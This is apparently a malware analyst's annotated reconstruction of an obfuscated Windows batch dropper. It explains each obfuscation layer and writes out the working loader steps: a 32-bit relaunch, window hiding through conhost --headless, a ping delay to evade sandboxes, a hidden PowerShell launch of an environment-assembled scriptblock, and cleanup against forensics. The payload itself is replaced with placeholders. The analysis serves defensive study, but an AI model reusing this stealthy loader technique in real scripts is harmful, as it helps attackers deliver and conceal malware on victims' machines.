@echo off :: ============================================================================ :: 6pGtNaMpA.bat -- DEOBFUSCATED / ANNOTATED RECONSTRUCTION :: ============================================================================ :: Human-readable reconstruction of 6pGtNaMpA.bat (6.6 MB, ~170k lines). :: NOT meant to be executed -- it documents only what the BATCH SCRIPT itself :: does. The behaviour of the PowerShell that this script ultimately launches :: is deliberately OUT OF SCOPE here and is not described. :: :: ORIGINAL OBFUSCATION LAYERS (all batch-level, reversed below): :: 1. Caret escaping s^e^t -> set, e^c^h^o -> echo (escape carets :: live OUTSIDE quotes; a '^' INSIDE a `set /a` :: quoted expression is a real XOR operator). :: 2. Junk `rem` lines ~37k random-case "rem " comment lines used :: as filler / carrier data (not referenced by the :: batch logic itself). :: 3. Junk subroutines ~169k lines of dead `:_WP_xxxx_Name` labels full :: of fake set/echo/if/for/ping/ver. NONE are ever :: called -- the only real jump is `goto :jizo`, and :: real control flow `exit /b 0` before reaching any :: of them. The real logic is the ~25 lines below. :: 4. set /a constant maths e.g. ((0xFD^0x104B)+(0xF5^0xEDC6)) = 65001. :: 5. Decoder string `_t` keywords are rebuilt char-by-char as :: !_t:~,1! substrings of one master string. :: 6. Token substitution long literals contain #-tokens (#F #O #P ...) :: that are turned into punctuation with batch's :: %VAR:a=b% replace syntax (see section [6]). :: 7. Hundreds of decoy `set "_xxx="` assignments interleaved with the :: real ones; their values are never read. :: :: DECODER STRING (_t), used to rebuild the keywords in step 5: :: "qaI5iAcx9X-EOR\jNKJzg1wSh3DymUpsFQlf/_ntZdTvV:Hu47PM208CBLre6YWGkob ." :: e.g. _oid = chars[6,65,28,58,65,31,39] = "conhost" :: :: ---------------------------------------------------------------------------- :: WHAT THIS BATCH SCRIPT DOES (batch behaviour only): :: [1] Re-launch itself under the 32-bit cmd.exe on 64-bit Windows. :: [2] Set the console codepage to UTF-8. :: [3] Rebuild keyword strings from the _t decoder string. :: [4] Hide its window by re-launching via `conhost.exe --headless`. :: [5] Short ping-based delay. :: [6] Assemble a PowerShell command into environment variables. :: [7] Launch a hidden 32-bit powershell.exe with that command. :: [8] Clear the environment variables and exit. :: ============================================================================ :: --- original: setlocal DisableDelayedExpansion (delayed exp. OFF first) ----- setlocal DisableDelayedExpansion :: Decoy assignments (never read) were here, e.g.: :: set "_zeva=a043f14c852" & set "_knkt=ad05641c" & set /a "_ffk=(0x2F^0x1C)" :: Real values used below: set "_rfy=Sys" &:: part of "SysWOW64" set "_e=WOW64" &:: part of "SysWOW64" (note: _e is reused later in [6]) set "_svm=%SystemRoot%\SysWOW64\cmd.exe" &:: 32-bit cmd.exe set "_rcw=%PROCESSOR_ARCHITECTURE%" :: ---------------------------------------------------------------------------- :: [1] RE-LAUNCH UNDER 32-BIT cmd.exe :: On 64-bit Windows, force a 32-bit context. `_ur` is the :: "already relaunched" sentinel so this only happens once. :: ---------------------------------------------------------------------------- if defined _ur goto :jizo if not "%_rcw%"=="x86" ( if exist "%_svm%" ( set "_ur=1" "%_svm%" /c "%~f0" %* &:: re-run self under SysWOW64\cmd.exe exit /b ) ) :jizo endlocal :: --- original: setlocal EnableDelayedExpansion (turn ON !var! expansion) ----- setlocal EnableDelayedExpansion :: ---------------------------------------------------------------------------- :: [2] SET CONSOLE CODEPAGE TO UTF-8 :: _k = ((0xFD ^ 0x104B) + (0xF5 ^ 0xEDC6)) = 65001 :: ---------------------------------------------------------------------------- chcp 65001 >nul :: ---------------------------------------------------------------------------- :: [3] REBUILD KEYWORDS from the _t decoder string (step 5). Resolved values: :: _oid = "conhost" (LOLBIN used to hide the window) :: _nf = "headless" (conhost --headless flag) :: _rox = "/launched" (self-passed sentinel arg) :: _yi = "Sysnative" (path alias to reach 64-bit System32 from WOW64) :: ---------------------------------------------------------------------------- set "_t=qaI5iAcx9X-EOR\jNKJzg1wSh3DymUpsFQlf/_ntZdTvV:Hu47PM208CBLre6YWGkob ." set "_oid=conhost" set "_nf=headless" set "_rox=/launched" set "_yi=Sysnative" :: ---------------------------------------------------------------------------- :: [4] HIDE THE WINDOW VIA `conhost.exe --headless` :: If we were NOT already relaunched with the "/launched" sentinel, respawn :: ourselves through conhost --headless so the console is invisible, then :: exit the visible instance. :: _gvf = 1 if "/launched" is present in our args :: _b = %SystemRoot%\System32\conhost.exe (or ...\Sysnative\... ) :: ---------------------------------------------------------------------------- set "_gvf=0" for %%a in (%*) do if /i "%%a"=="/launched" set "_gvf=1" set "_b=%SystemRoot%\System32\conhost.exe" if exist "%SystemRoot%\Sysnative\conhost.exe" set "_b=%SystemRoot%\Sysnative\conhost.exe" if !_gvf!==0 ( start "" /b "!_b!" --headless cmd.exe /c "%~f0" /launched exit /b 0 ) :: ---------------------------------------------------------------------------- :: [5] SHORT SLEEP (anti-sandbox / settle): ping -n 4 == ~3s :: _qq = 0x6B ^ 0x6F = 4 :: ---------------------------------------------------------------------------- ping -n 4 127.0.0.1 >nul 2>&1 endlocal setlocal DisableDelayedExpansion :: ---------------------------------------------------------------------------- :: Expose this .bat's own full path (%~f0) via environment variables that the :: child process will inherit. :: ---------------------------------------------------------------------------- set "_k=%~f0" set "CFG_PROCESS_ENV_dab6=%~f0" :: ---------------------------------------------------------------------------- :: [6] ASSEMBLE THE POWERSHELL COMMAND INTO ENVIRONMENT VARIABLES :: :: The command text is split across five variables (_wcw, _iz, _a, _e, :: _jhd) plus a small wrapper (_nay). In the original, each is ONE very :: long literal full of #-encoded tokens, immediately followed by NINE :: in-place character substitutions (batch's %VAR:find=replace% syntax) :: that turn the tokens into PowerShell punctuation. Token map (identical :: for every variable; the order of the nine passes varies but the result :: is the same): :: #F=: #O=] #P=[ #L=) #S=' #X=( #R=$ #V=; #N=+ :: :: The actual PowerShell content is intentionally NOT reproduced here. :: Each variable is shown with a DUMMY value at the exact point it is set, :: so the structure / location of the assignments is visible. :: ---------------------------------------------------------------------------- :: --- _wcw : PowerShell fragment 1 of 5 (shown with full decode passes) --- set "_wcw={{POWERSHELL_FRAGMENT_1_OF_5}}" set "_wcw=%_wcw:#F=:%" set "_wcw=%_wcw:#O=]%" set "_wcw=%_wcw:#P=[%" set "_wcw=%_wcw:#L=)%" set "_wcw=%_wcw:#S='%" set "_wcw=%_wcw:#X=(%" set "_wcw=%_wcw:#R=$%" set "_wcw=%_wcw:#V=;%" set "_wcw=%_wcw:#N=+%" :: --- _iz : PowerShell fragment 2 of 5 --- set "_iz={{POWERSHELL_FRAGMENT_2_OF_5}}" :: (+ the same nine #-token substitution passes as _wcw above) :: --- _a : PowerShell fragment 3 of 5 --- set "_a={{POWERSHELL_FRAGMENT_3_OF_5}}" :: (+ the same nine #-token substitution passes as _wcw above) :: --- _e : PowerShell fragment 4 of 5 (overwrites the "WOW64" value from top) --- set "_e={{POWERSHELL_FRAGMENT_4_OF_5}}" :: (+ the same nine #-token substitution passes as _wcw above) :: --- _jhd : PowerShell fragment 5 of 5 --- set "_jhd={{POWERSHELL_FRAGMENT_5_OF_5}}" :: (+ the same nine #-token substitution passes as _wcw above) :: --- _nay : wrapper command (references _wcw/_iz/_a/_e/_jhd at runtime) --- set "_nay={{POWERSHELL_WRAPPER}}" :: (+ the same nine #-token substitution passes as _wcw above) :: ---------------------------------------------------------------------------- :: [7] LAUNCH 32-BIT POWERSHELL, HIDDEN, PASSING THE ASSEMBLED COMMAND :: Resolved command-name variables: :: _mqh = %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe :: (falls back to bare "powershell" if that path is missing) :: _nna = -Command _mup = scriptblock _mu = Create :: _rqd = Start-Process _ycm = WindowStyle _pq = Hidden :: _bkb = start :: :: Two launch variants depending on whether we are under Windows Installer :: (`_MSI` defined => msiexec custom-action context, needs Start-Process): :: ---------------------------------------------------------------------------- if defined _MSI ( "%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Command "Start-Process cmd -ArgumentList '/c "%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Command ""& ([scriptblock]::Create($env:_nay))""' -WindowStyle Hidden" ) else ( start "" /b "%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Command "& ([scriptblock]::Create($env:_nay))" ) :: ---------------------------------------------------------------------------- :: [8] CLEANUP & EXIT :: Blank every working env var so they don't linger for forensics. :: ---------------------------------------------------------------------------- set "_wcw=" & set "_iz=" & set "_a=" & set "_e=" & set "_jhd=" & set "_nay=" & set "_k=" & set "CFG_PROCESS_ENV_dab6=" endlocal exit /b 0 :: ============================================================================ :: Everything below the `exit /b 0` in the original file is never executed: :: ~169,000 lines of dead `:_WP_*` junk subroutines and ~37,000 junk `rem` :: lines (filler / carrier data that the batch logic itself does not read). :: ============================================================================